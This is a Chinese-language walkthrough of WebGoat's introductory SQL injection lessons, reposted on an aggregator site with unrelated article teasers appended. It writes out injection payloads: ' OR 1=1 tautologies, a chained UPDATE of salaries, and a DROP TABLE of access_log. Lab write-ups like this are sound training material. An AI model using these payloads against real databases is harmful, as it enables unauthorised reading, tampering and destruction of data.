WebGoat通关攻略之 SQL Injection (intro)

SQL Injection (intro)

1. What is SQL?

在这里插入图片描述本题练习SQL查询语句,就是写一句SQL获取叫Bob Franco所在的department

SELECT department FROM employees WHERE first_name = 'Bob' AND last_name = 'Franco'

在这里插入图片描述
成功通关!

2. Data Manipulation Language (DML)

在这里插入图片描述
本题练习的是Update 修改数据,将Tobi Barnett的department改为‘Sales

UPDATE employees SET department = 'Sales' WHERE first_name = 'Tobi' AND last_name = 'Barnett'

在这里插入图片描述
成功通关!

3. Data Definition Language (DDL)

在这里插入图片描述
本题练习的是Alter 添加数据,在employees表中添加phone(varchar(20))列

ALTER TABLE employees ADD phone varchar(20)

在这里插入图片描述
成功通关!

4. Data Control Language (DCL)

在这里插入图片描述
本题练习的是数据控制语句,需要授予用户组 “UnauthorizedUser”更改表的权限,在这里,我们可以使用grant授权命令对该用户组进行授权

GRANT ALL PRIVILEGES ON grant_rights TO unauthorized_user;

在这里插入图片描述
成功通关!

5. What is SQL injection?

在这里插入图片描述
练习的是SQL注入
在这里插入图片描述

"SELECT * FROM users WHERE name = 'Smith' OR 1=1;--'";

6. Try It! String SQL injection

在这里插入图片描述
字符串型SQL注入讲解,执行的SQL语句是:

SELECT * FROM use_data WHERE first_name='john' and lastname='Smith or 1=1'

上述SQL语句的意思是:从user_data表中,寻找first_name=‘john’,且last_name='Smith or 1=1’的全部数据,也就是在数据表中,满足条件的一行数据。其中,last_name的内容是由我们控制的。

看到能输入or 1=1,是不是应该有一种使"where"后面出现“xxx or 1=1”的冲动,因为“where xxx or 1=1”这句话,不就跟没得条件一样吗,1=1是恒成立,“xxx or 1=1”恒成立。

那么我们可以这样输入:
在这里插入图片描述
如此填写之后,要执行的SQL语句,就会变成这样:
在这里插入图片描述
红框中的内容都变成了字符串,那么SQL语句就变成了:

SELECT * FROM use_data WHERE first_name=‘XXX’ or ‘1’='1’这种形式,也就是where后面相当于没条件了。提交数据,可以看到:
在这里插入图片描述
成功通关!

7. Try It! Numeric SQL injection

在这里插入图片描述
本题目练习的是数字SQL注入,给SQL语句"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID;构建一个动态查询,分析SQL语句,以及实验可知,本题的注入点在user_id

原因:本题使用了SQL预编译语句,但是只对Login_Count做了防护,User_Id还是直接带入参数值,因此只能使用user_id作为注入点组成SQL语句。

SELECT * From user_data WHERE Login_Count = 1 and userid= 1 or 1 = 1

在这里插入图片描述
成功通关!

8. Compromising confidentiality with String SQL injection

在这里插入图片描述
本题练习的是使用String SQL注入破坏机密性,从employee表中检索所有雇员数据

Employee Name:Smith
Authentication TAN:3SL99A' OR 1=1;--

在这里插入图片描述
成功通关!

9. Compromising Integrity with Query chaining

在这里插入图片描述
本题练习的是使用查询链接损害完整性,利用查询链(分号;)破坏数据完整性,也就是修改非授权数据。两个框都可以是注入点

Employee Name:Smith
Authentication TAN:3SL99A' OR 1=1;UPDATE employees SET SALARY = 90000 WHERE LAST_NAME = 'Smith';--

在这里插入图片描述
成功通关!

10. Compromising Availability

在这里插入图片描述
本题要利用字符型注入来破坏可用性,也就是让原本被授权的人无法读取或操作某些文件。要求把表access_log删除,因此用DROP TABLE关键字进行操作即可

我们可以先SELECT一下查看表中都有什么:
在这里插入图片描述

3SL99A' OR 1=1;DROP TABLE access_log;--

在这里插入图片描述
成功通关!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/186147.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PS 吸管工具基本使用方法

这里 我们先打开PS软件 我们 在左侧 导航来中 找到 有吸管工具的这一组工具 这边 我们先选择这个 吸管工具 选择之后呢 左上角 属性配置 第一个是 取样大小 这个 我们之前学魔棒工具时 是有接触过的 这里 我们选择 取样点 然后 后面一个是样本 这个 用的最多的是 所有图层 …

猫罐头哪个牌子好?分享十款猫罐头品牌排行榜!

选择适合的猫罐头非常重要,好的猫罐头应该提供丰富的营养、适量的水分、口感良好,并且易于消化吸收。然而,如果选择不当,可能无法达到期望的效果,甚至可能对猫咪产生负面影响。 作为一位经营猫咖5年的老板,…

Flink(六)【DataFrame 转换算子(下)】

前言 今天学习剩下的转换算子。 1、物理分区算子 常见的物理分区策略有随机分配(Random)、轮询分配(Round-Robin)、重缩放(Rescale)和广播(Broadcast),下边我们分别来做…

IDEA远程一键部署SpringBoot到Docker

IDEA是Java开发利器,Spring Boot是Java生态中最流行的微服务框架,docker是时下最火的容器技术,那么它们结合在一起会产生什么化学反应呢? 一、开发前准备 1. Docker安装 可以参考:https://docs.docker.com/install/ 2…

【Vue全家桶 合集 关注收藏】

【Vue全家桶】全面了解学习并实践总结Vue必备知识点 写在前面 🤗 这里是SuperYi Vue全家桶合集站! 🌻 人海茫茫,感谢这一秒你看到这里。希望我的文章对你的有所帮助! 🌟 愿你在未来的日子,保持…

CentOs 7 PHP安装和配置

目录 1 安装epel源 2 安装REMI源 3 安装yum源管理工具 4 安装PHP7.3 5 启动php服务 6 设置PHP 6.1 查找安装包 6.2 查找PHP安装位置 6.3 查找php配置文件位置 6.4 配置PHP 6.5 设置快捷命令 6.6 查看php版本 6.7 更新php 1 安装epel源 yum -y install epel-release 2 安…

【Python基础篇】字符串的拼接

博主:👍不许代码码上红 欢迎:🐋点赞、收藏、关注、评论。 格言: 大鹏一日同风起,扶摇直上九万里。 文章目录 一 Python中的字符串拼接二 join函数拼接三 os.path.join函数拼接四 号拼接五 ,号…

招聘全球视野:跨境电商的人才策略

在数字时代,跨境电商已经成为全球商业领域的引擎之一。由于全球市场的巨大潜力,跨境电商企业需要确保其人才团队具备全球视野和战略洞察力,以在竞争激烈的环境中脱颖而出。本文将深入探讨招聘全球视野的重要性,并提供一些战略性的…

jupyter修改默认打开目录

当我们打开jupyter notebook(不管用什么样的方式打开,使用菜单打开或者是命令行打开是一样的)会在默认的浏览器中看到这样的界面、 但是每一台不同的电脑打开之后的界面是不同的,仔细观察就会发现,这里面现实的一些文件…

新的 Reptar CPU 缺陷影响英特尔台式机和服务器系统

英特尔修复了其现代台式机、服务器、移动和嵌入式 CPU 中的一个高严重性 CPU 漏洞,包括最新的 Alder Lake、Raptor Lake 和 Sapphire Rapids 微架构。 攻击者可以利用该缺陷(追踪为CVE-2023-23583并被描述为“冗余前缀问题”)来升级权限、获…

金蝶云星空签出元数据提示“数据中心业务对象版本高于应用版本”

文章目录 数据中心业务对象版本高于应用版本签出元数据提示建议 数据中心业务对象版本高于应用版本 签出元数据提示 建议 每次签出元数据前,先获取最新的代码后再签出,如果还是提示,那就根据你的情况选择版本。

Apache Airflow (九) :Airflow Operators及案例之BashOperator及调度Shell命令及脚本

🏡 个人主页:IT贫道_大数据OLAP体系技术栈,Apache Doris,Clickhouse 技术-CSDN博客 🚩 私聊博主:加入大数据技术讨论群聊,获取更多大数据资料。 🔔 博主个人B栈地址:豹哥教你大数据的个人空间-豹…